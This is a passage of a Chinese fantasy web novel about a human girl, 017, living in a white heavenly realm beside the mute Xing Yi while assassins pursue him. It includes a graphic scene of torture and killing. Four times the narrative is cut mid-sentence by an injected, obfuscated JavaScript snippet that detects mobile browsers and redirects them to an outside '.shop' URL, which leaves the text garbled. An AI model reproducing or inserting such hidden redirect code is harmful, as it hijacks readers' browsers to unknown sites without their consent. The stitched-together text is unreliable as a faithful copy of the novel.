空有土地,却寸草不生。所以天国人提炼不出色素,所以这里才会洁白一片,他们没有四季,甚至没有任何带有色彩的东西,除了天空、宝石和眼睛。 017不意外,当她还在箱子里窝着窥探天国的时候,就注意到这里虽然被活水环绕,却没有任何植物。 天国一层层的土地依靠水连接在一起,但连一棵树,一点绿色的影子都没有。 不仅缺绿色植物。 还缺天生“水灵心”的天人。 而从几千年前开始,有个不知道什么目的的人,专门劫杀拥有“水灵心”的天人,整个天国水灵心不到一百,居然就这么不明不白的少了一半。 这次,凶手盯上的是星乙。 不同于以往,凶手不动声色的用傀儡杀人挖心,而是提前给星乙下了“战书”。 “第一封是在殿门前发现的,第二封是一个刺杀的傀儡嘴里咬着的,第三封……贴在圣者雕像上。”有人说,说到最后半句声音减弱不少,像是怕触犯禁忌。 在017自己的要求下,她见到了那三封信,每一封上面的字都很优美,出自一人之手。每次只有简短的一句话: “我要杀了你。” “我要杀了你。” “我要杀了你。” 循序渐进,有点打谜语的意思,三封信时间间隔没有规律,字体不一,甚至连是不是凶手写来的都未可知。 无法忽略的是,随着信件先后被发现,出现在他身边傀儡的数量和频率也在增加。 这立刻引起了天国的“警察局”,戒律殿的十二分重视。 戒律殿副官,也是雷司任命的临时委托人,兰可立刻采取了行动,对星乙进行了强制性“保护”。 星乙被撤掉了执行令牌,限制了活动范围。虽然一直强烈拒绝拘禁保护,可他仍旧处于每日被监视的状态下。 直到半个月前,他突然从云宫消失。 没人知道他去了哪儿,同僚之间用来联络的宝石信物被他扔到角落里,整个人蒸发在精英云集的天国中心。 按照凶手的习惯,挖心之后会留下尸体。 没人能断定星乙是否已经被杀,戒律殿三天之内带人把整个天国翻了个遍,眼看棺材板都快给他造好了,星乙这才现身。 而且带回一个人类。 而星乙带着一个人类,走水路一路直上的原因很简单。 他想要验证,支配傀儡的人,就是天国人。 天国人的肺腑里,流淌着奔赴责任的血液。他们将人类视作父母,或将人类视作孩子,骨骼不允许他们朝人类挥舞刀剑,跳动的心脏不允许他们对人类使用法术,命定的精神是对他们的束缚。 事实说明,星乙的猜测是正确的。 一路上,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037578|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能感受到傀儡在暗中的身影,而只要他和装着人类的手提箱形影不离,那些傀儡就不敢出手。 而他之所以选择017,一个重要原因也是因为她很少影响别人,换言之就是因为她在人群中可有可无,而且懂得手语。 “铤而走险,稍有不慎就会玩火自焚。” 说话的是一个和星乙年纪差不多的青年,站在兰可对面同级的位置,讲话时有种居高临下的自负。青年说:“如果幕后人不是天国人,你不仅自己陷入水火,017也会有生命危险,你负担的起吗?” “这有什么?”一个满不在乎的声音从人群里传出来。 “这有什么,”青年重复了一遍这四个字,好像觉得可笑,质问道:“罗新,你不是天天把星乙是自己兄弟挂嘴边吗,他要是死了,你还笑得出来吗?” 星乙瞪了那个人一眼,对方识相的闭上了嘴。 “我觉得吧……” 那个叫罗新的少年慢慢说:“就算是天罗地网,对上星乙,他们也必败无疑。” 他态度轻蔑言语委婉,叫人一时间分不清他是在顺着兰可的话嘲讽星乙还是在替星乙说话。 罗新笑了:“对吧,星乙?” 人类看了一眼星乙,纵然下面已经因为他吵的不可开交,他依旧只是低着头,安静的像一株长在右天王脚边的杂草,表情空洞。 走神了? 星乙默默发起呆,好像其他的人说什么,跟他没关系一样。017原本紧绷着的弦突然软了,出乎意料的冷静下来。 “就算是!那017……” 罗新小声嘟囔:“不是有复活药水吗……” 对面的兰可不自觉皱起眉,看着上边雕塑一样的星乙,忽然嗤笑道:“他不是好好站在那吗,你们担心什么呢,又没缺胳膊少腿。” 星乙这才忽然抬起头,那神情颇有点讨饶的意味,接着,他摇摇头,露出一个充满歉意的笑容。 兰可冷哼了一声。 017察言观色,赶忙保证说:“我会小心说话的,我的要求一定事出有因,尽量不给你们添麻烦!” 保证完自己的立场,后面的事情,017的印象就不是很深了。好像记忆就被暂停到那里一样,留下一片空白。 017细细想着,她并没有对星乙的利用产生什么愤怒。但在会议结束将要离开的时候,她看着星乙转身离开,自己却僵硬的站着没动。 星乙走了两步,回过头,示意她跟上。 一瞬间,017被他周身的寒意逼得退了半步,星乙很快恢复了正常,但看着017警惕的眼神,他没多说什么。 “到处白的像刚下过暴雪一样,感觉冷冰冰的。”少女没话找话。 星乙点点头,没有其他反应,自顾自朝前走,好像忘了身后还跟着另一个人。017对他的无视很茫然,脚步也不听使唤的越来越慢了。 她是个为了验证凶手特征工具,就和手术室里的镊子棉签没有什么区别。作为外来世界的穿越者,脚还没落地就完成了使命,现在进也不是退也不是。 就这么莫名其妙的来,再莫名其妙的走吗?017有点后悔了。 可星乙没有提要她走的事情啊。 身体对这个人表达质疑,下意识想要远离,但第六感却让她觉得在这个她几乎一无所知的世界,星乙是个可以信赖的人,想要亲近。 但她迟疑的片刻,星乙的背影很快就在人流中消失了。 他们走散了。 5. 收留 “017。” 正不知道该怎么办,身后忽然有人叫她,是兰可。 “我送你回去,我们会让地球的时间倒流,你不会记得这里的事,放心,不会有任何影响的。”兰可作势拉住了她的手,用劲不小,几乎可以说是拽着她朝一边走。 “我……能不能,不回去?” 兰可愣了一下,立刻道:“不行。” “因为这里和太阳系的时间运行是一致的,满足因果论,如果我不回去,无数的人会受我影响,对吗?”017说。她看着四周越来越稀疏的人群,感慨又不安。 星乙说她是皇帝,可这里的人只嫌弃她多余,没人多看她一眼。 和以前一样,看来无论在哪里,她都是可有可无。 既然这样,为什么要回去。 “既然知道,就不要和我讨价还价了。”兰可拉着她往外走,嘴上不停说着,手上一点也不放松,好像怕她突然变卦的意思。 兰可一心解决这个烫手山芋,拐着她朝小路转弯:“快走,我送你回家。” 回家。 两个字,烧水似的,烫了她一下。 017却突然站住了脚步,咬着嘴唇,半晌吐出两个字:“放手!” 兰可停下脚步,血脉中对人类的服从,让她不经大脑手就已经松开了手。 制服上连成串的徽章彩光流转,她天蓝的眼睛里映照出017的面孔。在人群中显得平平无奇的脸,每一分挣扎都被无限放大,她推开兰可的手,转身跑起来:“别跟过来!” 根本没人阻拦。 她朝着星乙离开的方向跑去了。 在拐角处,017成功找到了星乙。 或者说星乙就一直等在那。 猛地扑上去抓住他胳膊的时候,星乙好像已经猜到了她刚才经历了什么,现在在想什么,马上要说什么。少年露出无奈的微笑,没有责怪的意思,安抚的拍了拍她的肩膀。 “我还能帮你,我待在你身边可以保护你,对吧?”017焦急的对他说:“别赶我回去。” 星乙没说什么,把017带到了他自己的办公室,打开一个房间的门,让她住了进去。 待在异世界一整晚,她怎么可能睡得着。 深夜,门窗大开通风,017辗转难眠。 这里的温度似乎不会有大幅度变化,踩在大理石地板上,一点也不凉。 周围的建筑偏欧式,又有现代建筑的味道,设计师将金银白三色利用到极致,有股在电视上见过的意大利的风情。但这里只有三个主要的房间,中间围成一个院子,显然是四合院的布局。 中西混杂,难免不伦不类,可在纯白的天地间,什么古怪都变成和谐统一的规范,甚至带上猎奇的美感。 可她感到的,只有恐惧。 星乙在左边房间里写报告,她住在右边临时由办公室改造出的房间里,中间的房间里漆黑一片,拉着窗帘,门上上着一把锁。 角落里有鸟儿的叽叽喳喳声,吵得人心烦意乱,总会让人觉得是在议论自己。 017穿过屋檐,路过那间漆黑的房间,胳膊擦过门上的铁锁,在寂静中回荡起铁锈摩擦的声响。017半步折回,看了一眼,呐呐道:“锁是开着的?” 这扇门紧紧关着,一丝缝隙都不留。 无由来的心慌迫使她加快了脚步。 房间闪着灯火的明光。 017轻轻敲了敲门:“可以进吗?” “砰”地一声,有个东西在里面砸了一下门,应该是有人朝门扔了个什么东西过来。 这是能进还是不能进? 正要再敲,门忽然被打开了。 一阵浓郁且奇异的香味扑面而来,十分提神醒脑。星乙一脸疲倦靠在门边,带着褶皱的衬衣外潦草的挂了一件外套,在烛火背面有种独属于少年的俊美,017忍不住仔细看看他。 黑发蓝眸…… 先前没有注意过,现在才发现,星乙的头发是黑色的。 这里的所有人,头发好像都是浅棕色或者金色,一天下来她早习惯了,再看到熟悉的黑色头发,反而觉得不正常。 异类。这是017下意识的反应。 与众不同,在哪里,都不会是什么好事。 “你睡在办公室?”017问:“而且还开着灯?” 他们的房间只隔着一堵墙,星乙那边虽然十分安静,可灯一直亮着,所以她才潜意识以为星乙还醒着。 星乙头发有有点乱,比划:我工作比较多,有时候太晚来不及回家,就在办公室里放了一张床,我习惯睡觉点着灯。 站在那里,看了她几秒,眼神还不清醒。 应该真的是在睡觉,刚才,是因为被人吵醒不耐烦,所以朝门扔了东西过来吗? 017突然就后悔敲这个门了。 星乙视线在她脸上扫过,好像有读心术似的,她刚萌生这个念头,对方就弯腰捡起地上碎片给她看,握在手里比划:我起床时脾气不太好,抱歉。 017原本的一点心烦意乱,现在也随着星乙的示好烟消云散:“我也不喜欢正睡觉的时候被吵醒,那个……我有话想和你说。” 星乙表现的很吃惊,好像不能理解她。 “跟你谈谈,在这就行,”她继而补充道:“很快。” 017想了一个晚上,才敢来求他:“让我多待几天,我保证不捣乱,反正时间都要倒流,你们也要清除我的记忆,多让我待几天不行吗?” 星乙没有什么表示,靠在门边,好像快睡着了。 “……在这里我又不不用吃饭,你可以继续拿我当盾牌啊,我可以保护你的!”她已经开始口不择言:“就当日行一善,好不好?” 星乙听到后半句时才抬头,听到笑话一样颤抖着笑起来,少年的身影在017脑海里和记忆重叠,这个景象,就和星乙蹲在箱子边,017朝他打手势“OK”时,星乙的反应一样。 017泄了气,双眼炯炯有神的望着他。 星乙笑够了,比划:我们会遵守人类的所有命令,我们是没有拒绝的权利的。 “……所以你同意了?” 星乙:所有天人,都没有拒绝皇帝的权利,你的每一个字,都是不可抗力,明白了吗? 017连忙点点头。 星乙挥挥手,示意她回去睡觉。 017吃了一剂定心丸,忙不迭跑回了隔壁。 看着她着急忙慌跑到自己的房间,关上门,又等了一会,星乙在从靠着门框的姿势站直了,脸色骤然冷了下来,汗水从发烧滴落下来,脸色苍白如纸。 一直被门框挡着的一条手臂露出来,满袖鲜红,血已经快要流干净了。 星乙光着双脚,慢慢退回了房间内,锁上了门。 “嘭!” 一块瓷片,从身后飞来,砸在了门框上。 星乙合上房门,扣上了门锁,转过身的刹那桌上的火焰迸出火星,忽明忽暗的冲刷下青年干净的脸。 他捡起瓷片,来到房间的深处。 被子侧边,一只手有气无力伸出来,手心握着第三块瓷片,看来是还想砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037579|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去。 刚刚,他是在向门口的女孩求救。 星乙一把掀开被子,浓郁的血腥味瞬间充满了房间角角落落。 被子下,一个浑身是刀伤的男人艰难的睁着眼,歪过头,吐出一口血。 一颗牙也从唇舌间滚出来,钻石一样的咕噜噜滚到地上。 星乙拿起床头的白皮书,撕下一片纸,手指蘸了男人的血,在纸上写字。 星乙把纸条举起来:谁要杀我? “你杀了我吧,我什么都不会说的”男人似乎已经神志不清,终于开口:“珍惜你剩下的时间吧,你很快就会死……你不过是天王的一条狗,本来就没有自由,对你来说,死亡也是一种解脱,不是吗……” 星乙扬手给了他一拳,仍然举着那句话:谁要杀我? “你这些年,得罪了多少人,想杀你的人多了,你自己……记得住吗?” 星乙没什么反应,没费什么劲的捏开了男人不剩几颗大牙,血腥模糊的嘴,将纸条的一脚略过烛火。 纸燃烧起来,火苗慢慢舔上白纸,烧的边缘发黑卷曲。 男人似乎意识到他想做什么,使劲要把嘴合上,但始终无法挣脱星乙牢牢钳住下巴的手。 意识到无法逃脱,男人反而毫无恐惧,面露凶光,野兽一样死死瞪着星乙。 星乙忽然就笑了,手指转动,把那张纸握成团,熄了火。 男人面露疑惑,一下秒,星乙把纸团拍进了他的嘴里,又抄起一旁烛火灯,连着铁做的底、燃烧的火,浑浊的蜡油一起,用力捅进了他的嗓子眼。 同时,捂住了他的嘴。 夜半,017刚刚躺回床上,茫然盯着雪白的天花板,回想着刚才和星乙的对话,完全没有一点想睡觉的念头,刚刚强迫自己合上眼,就被隔壁一声刺耳的叫声惊的从床上掉了下来。 从星乙房间传出来的声音。 天国白天黑夜的交替没有过度,天空恰好在017夺门而出的瞬间亮起来,吓得她脸色惨白。 017僵硬的站在星乙房间门前,短短两步的距离,她却犹如被血腥味隔离在外。犹豫几秒,星乙房间内的叫声又断断续续起来,好像是人在嘶哑的求饶。 里面……死人了吗? 可星乙还在里面,半个小时之前,他不是还站在门边和自己说话吗? 017强迫自己镇定下来,手脚还是忍不住哆嗦,头脑一下子冷了,她反复告诉自己:在天国没人能伤害人类,我是安全的,我是皇帝、我是皇帝…… 推开门,017只看了一眼,差点就吐出来。 干呕了半天,她才想起来自己已经几天没吃过饭,根本吐不出东西。 大片鲜红,粘腻的黑红血液淌的满地都是,飞到一边的断手和连着肉丝的眼球,血糊糊的景象快速印入她的神经,汗毛直立。 不知道过了多久,她回过神,感觉到有人站在她的身后,正盯着她的背影。 就站在她不远处。 017想要尖叫,但张嘴的一瞬间被捂住了嘴,手指冷的像冰,完全不是人能有的温度。 她全身脱力,眼泪止不住掉下来。 等她稍微缓过来一点,身后人放开了手,按住她的肩膀,转到她面前,那张脸上毫无血色,正是星乙。 “……你!”017发不出声音,呼吸都觉得困难。 星乙一下一下拍着她的背,规律的节奏很快带着她狂跳的心镇定下来。017喘着气,这才发现星乙手上是带着血的,而且应该已经沾到她嘴了。 “别……别拿手碰我!” 6. 中二病 星乙立刻收回手,想了想,立刻把他自己沾满血的白外套剥下来,胡乱刮掉手上脸上的血,把衣服扔到看不到的地方去。 视野里不再有红色,017舒服了点,脑子也开始运转。 “那是来杀你的人?” 星乙点了点头,好像也有点惊魂未定,就赶着来安慰她了。 晨光熹微,天国的清晨是被玄鸟带来的,刷子一样飞的黑色羽毛一掠即蓝,白云从蓝色中涌现出来。017注视着星乙的眼睛,说不上那是种什么样的眼神,好像自己已经死了很久,一点活气都没有。 星乙浑身是血,没有受伤,脖子上裂开一道口子,血流进他的衬衣,也让原本不明显到融入皮肉的一根银链子异常明显,细链下坠着东西,藏在衣服里。 017下意识:“十字架?” 怎么可能会是十字架? 问完,017才反应过来,这里不会有十字架。 星乙把链子扯出来,下面是半节大拇指大的宝石,血在宝石上汇聚成滴,颤颤巍巍的掉下来。 红色之下,像剥鸡蛋壳一样,汪洋般的蓝色一点点露出来。 是和星乙眼睛一样的颜色。 血砸在017脚下的大理石上,滴的一声,心里跟着一沉。 宝石上蓝红混合,纠缠在一起。017看着那颗宝石,忽然产生了被某种不知名磁场紧紧缠绕的错觉,甚至因为这古怪的感觉,连方才还在脑海里挥之不去的血腥画面都抛到九霄云外去了。 这时,空中突然传来三声钟响。 这声音令她印象深刻。 正是她当时在手提箱里窝着的时候,隔着人潮都能清晰无比的声音。 看来这钟声,是召集所有人的指令。 星乙立刻站起身:你回去吧,我出去一趟,回来给你带干净的衣服。 “不行!”017住着他的胳膊像抓救命稻草,激烈的抗议:“别让我跟那些东西待在一起!” 星乙:…… 星乙选择无条件服从皇帝的命令。 去圣殿的路上,017裹着星乙的白外套,总觉得有血腥味,跟在他后面,一语不发。走着走着,星乙递过来一张纸条。 ——我经常遇到刺客,不用担心,他们伤不了我。 017把纸握在手里,说不上同情还是其他滋味,低低“嗯”了一声。 抬头看了他一眼,发现星乙把胸前沾着血的宝石整个含在嘴里,像是在舔掉上面的血。 细细的银链在嘴角耷拉着,异常晃眼。 难道他尝不到上面的血腥味? 017愕然,暗暗想象了一下嘴里含着别人的鲜血的滋味,吞了吞唾沫,有点恶心。 相比下,星乙的动作太自然,好像只是舔了一下指尖一样轻松。 走到圣殿的正门,星乙回过头给了017一个眼色,017惯会察言观色,十分自觉留在外面,进去之前,星乙又塞给她第二张纸条。 ——周围群狼环伺,你得有警惕心。 017不是很明白。 他们两个来的很晚,大多数人已经按部就班站在各自位置上等着开会了。想到圣殿里面一层层的分布,如果站的越高官职越高,不知道星乙站在第几层台阶? 在大门前滴溜溜的转悠,她注意力又很快被昨天看到的那一尊雕像吸引了,忍不住细细观察起来。 一个中年男人,身后站着两个年轻人,腿边趴着一个儿童,怀里抱着一个婴儿。 什么意思?相亲相爱一家人? “这是四神像!”一个声音突然在耳边响起,惊的017大叫一声。 罗新得逞,大笑起来。 他的笑声响亮,根本不怕被圣殿里面的人听到。017警惕的看了看周围,见除了他没有别人:“你从哪里冒出来的?” “我会魔法啊。”罗新说,“很奇怪吗。” 牵扯上这里奇奇怪怪的法术,017连分辨他有没有说谎的能力都没有。定了定神,她转而问:“这尊石像,有什么意义吗?” “嗯……”罗新摸了摸下巴:“起到一个挡路的作用。” 017:“……打扰了。” 罗新笑容晏晏:“不打扰,我今天来,就是来找你的。” 这人长的一副硬朗的五官,眼睛里的蓝色却浑浊不堪,毫无清澈可言。虽然在笑,却让人高兴不起来。 “找我?”017狐疑的问:“你怎么不用去开会?” “当然是带人去搬尸体,不然你们那里血糊糊的,你还敢住吗?”罗新继续笑,好像笑是他说话的一部分,说:“你没进去看现场吧,太壮观了,我怕你吐出来。” “你怎么知道……”我们那里死人了,017想问。 “云宫可是整个天国法力最充沛的地方,出了事,很快就能知道,况且……”罗新朝圣殿里面抬抬下巴:“兰可把你们那里围得里三层外三层,有点风吹草动,她立刻就有消息。” “哦……”017问:“你找我有什么事儿?” 罗新反问她:“为什么不回地球?” 017瞬间警铃大作:“你想干什么?” “我来和你讲讲道理。”罗新叼住一根烟,摸了摸口袋,不出意外,又没摸到打火机。 他只好单单咬着,含糊不清的说:“天国你也看到了,我介绍一下,两个字简单,四个字鸟不拉屎。你喜欢这里,是因为新奇,等你厌倦了,最终还是要回到地球的。所以何必给别人添麻烦呢?时间的改变对于我们也不是容易的事,另外,星乙带你回来,本来就没有经过任何人的同意,包括你的同意,对吧?” 罗新不管017紧绷的脸,自顾自的说着:“你是从彩色大地来的人,你不可能在纯白的国家生存,也许你现在觉得星乙可以庇护你,或者你觉得你可以用自己的权利一直为所欲为,可我问问你,你活到现在,见过天下有免费的午餐吗?” 017一路听到这时,才接了一句:“你不就是看不上我,觉得我不配发号施令而已。” “话不要说的那么难听嘛。”罗新举起双手,表示自己没那么想,但又接上了她的话:“天人当然要对人类负责,你们是皇帝嘛,当然配得上天人鞠躬尽瘁,死而后已。” “所以?” “你没有本事,怎么能用的好权利?”罗新不再拐弯抹角,直白道:“我劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037580|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,马上回地球去。” “我偏不。”017也直白的拒绝了他。 “为什么?” “因为我不愿意!”017说,又补充:“除非连星乙都劝我回去,我再回去。” 罗新皱眉,好像想再说点什么,最后却也只是一句:“听他的话,你会后悔的。” “那也和你没有关系,”017忽然自信的笑了:“星乙说我是皇帝,我还不相信,现在我明白了,除了他,你们都在阻止我发号施令。” “你哪里是为了我着想,你们都想劝我回去,是怕我发出什么荒谬的指令而你们还不得不服从我吧?” 017早想明白了,在这里,没人能勉强自己干任何事,没人有资格责怪自己一句话,如果可以,她想,就算是随时想要杀了一个人,也是可以做到的。 或许还可以号令千军万马。 那要是,让他们毁灭人类世界,或者毁灭自己的国家,他们会听话吗? 017眼中闪过一抹异样且残忍的光彩,被罗新精确的捕捉到。他意识到已经晚了,就听017说:“你刚才有一点说错了。” 罗新:“哪一点?” “来天国之前,星乙已经征得了我的同意,”017看着罗新:“你知道他出现的时候,我当时在干什么吗?” 罗新沉默一会,平静的猜道:“自杀?” 017一愣,忽而被他逗笑:“你思想还蛮黑暗的嘛,还没到那地步。” 罗新是真的好奇了:“那是?” “在写遗书。” 罗新无奈的笑了:“这有什么区别。” “当然,我只是写写而已,我怕疼,见到血就晕,还不敢死呢。”017微微一笑:“我从小写过的遗书,比我写过的作文都多呢。” 罗新:“……中二病?” “要是有一天你需要,可以找我帮你写,保证真情实感,让读者痛哭流涕,在你坟前哇哇大哭……” 罗新扶额,迈着小碎步在原地走来走去,又是叹气又是无语:“他还真是选对人了。” 从几十亿个人里选出一个和自己这么像的影子出来,真是太聪明了。 难道精神病和神经病之间有诡异的吸引力? “他怎么跟你说的?” “你怎么不去问他?” 017看着罗新,罗新看着017,两个人不知道同时想到了什么有意思的笑话,居然异口同声喊道:“他根本不会说话啊!” 一阵大笑。 人群蜂拥而出,洪水一般攀上了海岸,把沙滩上的痕迹冲的一干二净,就像码头翻涌的浪花那样活力四射。 星乙和兰可一左一右,推开圣殿的大门,看到的就是门前两个人,罗新和017一个仰着头,一个弓着腰,笑得前仰后翻。 “我警告你,抓到刺客第一时间交给戒律殿,我亲自问审,再让我发现你用那些下三滥的手段和私刑……”兰可冷不丁的说:“等着蹲监狱吧。” 星乙点点头,刚想回头跟她比划点什么,不料兰可转头就走。 017和罗新站在远处,看到的就是这样一幕。星乙手顿在半空,尴尬又孤单。 7. 佞臣 017并不知道那个死人的事是怎么解决的,星乙忙进忙出,又是笔录又是检查,先是被戒律殿的人指责一顿抓了刺客不及时上报,又被兰可额外臭骂一顿动用私刑,最后交了房屋重整的装修费。 闹腾了几天,星乙才和她说没问题了,017没有多问。 只是星乙依然不死心,请求017下命令,解除他的禁行令,好亲自参案。 017犹豫再三,还是拒绝了。 嘴上说是为了星乙着想,有自己这张免死金牌在,星乙会很安全,心底里却清楚,自己不想离他太远。 因为她对这里太陌生。 从早到晚,她惴惴不安只敢跟在星乙背后,像个依赖家长的婴儿,蹒跚学步,懵懂的,胆战心惊的,尝试接受这个世界。 好在星乙是个合格的监护人,可以放慢的步伐永远耐心,解释问题时上下比划的手指是清晰的,偶尔,当017不需要他,星乙又成了一面沉默的墙,随时准备帮她挡风。 飞禽走兽,呵护幼崽,大概也就是如此了。 云宫很大,星乙被彻底禁足,没有正事可做,每天带着017在这里闲逛。 这是天国稀松平常的一年。 第一个月,天国阳光明媚,她在云宫里四处认识新人,天人比人类要友善的多,可她却没有交到一个朋友。每当她想要和人深度交流的时候,她总能感受到背后来自星乙的视线,怪异的负罪感瞬间弥漫心头。 “星乙?” 星乙立刻侧过头,百分百的回应。 “你在这里有朋友吗?”017顿了顿:“除了兰可和……罗新?” 兰可她早就见识了,而且017并不觉得那个很“装”的女的把星乙当朋友,而更像是……当儿子。 极其叛逆的傻儿子。 也不全怪兰可霸道的态度,毕竟就算她什么都不说什么也不做,星乙在她面前就天然的憋屈的像个孙子。 想到这,017勾起嘴角。 为了星乙若有若无的自尊心,她选择偷偷笑。 至于罗新,017能知道罗新和星乙之间关系匪浅,全仰仗云宫路边八卦。 这里的人说坏话奇异的不背人,有种没脸没皮的道德。总是一个小团体凑在一起从政治聊到情人,从情人聊到前情人,然后越跑越偏…… 星乙见怪不怪,017却恨不得伸长脖子,把耳朵送过去。 大老远,隔着一百米,六七对眼睛直勾勾追随着星乙和017越来越近的步伐,嘴里的闲话一字不差的嘟噜出来,被017听了个清清楚楚。 原话是:兰可星乙罗新,简直是作恶三人帮,一个专门坏人好事,一个在中间搅混水,还外带一个吹耳边风撺掇的,一个比一个混蛋! 017思考了一会,心想这不就是再说他们三个三颗老鼠屎坏了一锅粥吗? “问你呢?还有没有别的朋友?” 星乙一边走,一边一副细细思索的模样,最后肯定的摇了摇头。 没有。 “……哦。”017看他这副样子,说不上什么感觉。 她觉得星乙就像只流浪狗,在看到主人拿着火腿肠喂其他狗时,无奈的缩在角落里,盯着她不停的看。 她早晚是要回到人类的世界,她会把这里的一切全部忘掉,所以何必惹星乙不高兴呢? 她本以为,自己会一点点习惯这里的生活,但一切似乎都随着时间而悄悄变质,腐烂,充满一股泡汤馊味。 017穿上了天国白色的衣服,穿上了高跟的皮鞋,改头换面,她开始对星乙亦步亦趋的照顾不耐烦了。 孩子长大一点,开始抵触父母无微不至的保护。 她开始不打招呼,一个人行走在这个迷宫一样的地方,而世界却在星乙消失后彻底变了模样。 “什么皇帝,一个什么都不会的黄毛丫头,妄想在这里白吃白喝作威作福,真是做梦。” “我去翻了017的命运书,根本就是个一事无成的废物嘛,什么都不会,难怪她父母更看重她妹妹。” “一辈子也就是个凑数的,要不是星乙选中她,谁会知道她啊?” “对了你们这两天见到017没?哈哈哈看见她穿那身衣服没,畏畏缩缩跟披了块抹布出门一样,笑死我了。” “小声点,你想得罪星乙吗?” 一伙人的声音越来越远,独留少女一个人站在小路拐角,心里滋味难言。 017盯着自己脚尖,忽然感到自己刚才在路上的走姿滑稽到极点,一阵难堪。 她连忙跑回了星乙身边,一见面就推开了他面前的一堆文件,质问道:“你明知道他们都看我笑话,不告诉我,故意让我出丑吗?” 017只觉得胸腔里沉了一块石头,难受的快要哭出来:“她们都在笑话我,你为什么不和我说?” 星乙手里握着一只钢笔,奇怪的看了她一眼,比划:你命令他们闭嘴不就好了? 017愣了一下,又拍着桌子吵道:“她们嘴上不说,心里肯定还在笑话我啊!” 星乙:笑话你什么? “笑话我驼背,笑话我走路姿势,笑话我什么都不会做!” 星乙:那你命令所有人,以后都要驼着背走路,以后都要一边走路一边乱扭,以后所有人的工作翻倍,不就好了? 017被他堵住了嘴,不吭声了。 星乙把被她扫飞的文件一张张捡了回来,一张张抚平,叠好,然后继续审阅,批注,签上自己的名字。 017静静地看着他做这一切,过了一会儿,星乙转过椅子,扬起那双汪洋大海似的眼睛,和蔼地笑着:别指望我,指望你自己。 017咬着嘴唇,转身大步流星的走出了星乙办公室的门。 从那一天起,天国没有人再能直起脊梁骨。 从那一天起,017再也听不见她的名字,从别人的口中说出来。但人心里怎么想,和人怎么做,根本就是两回事。 于是,017学会了偷听。 她问星乙,躲在哪里,能偷到更多秘密呢?星乙回答她,右天王的办公室里,有三排书架,最里面的角落是个死角,躲在哪里,是不会有人发现的。 他说,他是右天王一手培养的副官,他小时候就习惯躲在那里。 那个角落,能看到一些正经人变得不正经,看到一些放浪的人变得懂规矩,看到一些风光无限的人变得满身疮疤。 017朝他哼哼一笑:“那我也要去试试。” 星乙眨眨眼:别忘了分享给我,被关在这里这么久,我也是很无聊的。 017在这里偷听到了一段两人之间的对话。 “不管您怎么逼我,我也绝不会放手不管,我不希望看到他出任何意外。” “只有把星乙当诱饵,才有可能把凶手引出来,尽早结束这场闹剧。” “我不同意,没有戒律点的盖章,您是天王也不能随便拿星乙的命去冒险!” “我当然能……” “那我就去找017了,她很喜欢星乙,只要她开口,没人能在天国伤得到星乙一根头发。” “017早晚要回到人类的世界去。” “那也是以后的事了,说出来不怕您生气,我现在觉得星乙把017带上镜都的决定实在是聪明无比,至少他有了一个有足够权力保护他的人。” “那就看看,我养大的看门狗,是听你的话,还是听我的话。” “……” 是兰可和右天王。 真是人不可貌相。017透过书架间的缝隙,看着那里的两个女人,感叹星乙说的果然没错。 一个横竖欺压星乙的人想着保护他的安全,另一个对星乙温言细语的人却对他弃之如敝。 群狼环伺,你得有警惕心。 星乙无来头的一句话缓缓浮上心头,017不禁觉得他有点好笑。 明明自己都成了人家看门的狗了,他还心甘情愿的趴在地上吐舌头,要是能说话,没准还能汪汪叫呢。 连自己的位置都摸不清,居然还跑来要自己警惕小心。 别到最后,是自己这个“皇帝”来保护他。 第二个月,017开始更深的挖掘云宫,同时更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037581|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加了解星乙。 她发现星乙有看书的爱好,他喜欢看各种天国史书,那些书厚的像两块板砖叠起来,字堆积在一起密密麻麻,不知道有什么意思,反正她一点也不感兴趣。 星乙问她要不要看看人类的未来,那些都被明明白白的写下来。 017:人类会灭亡吗? 答案是肯定的。 017:人类消失,你们该怎么办? 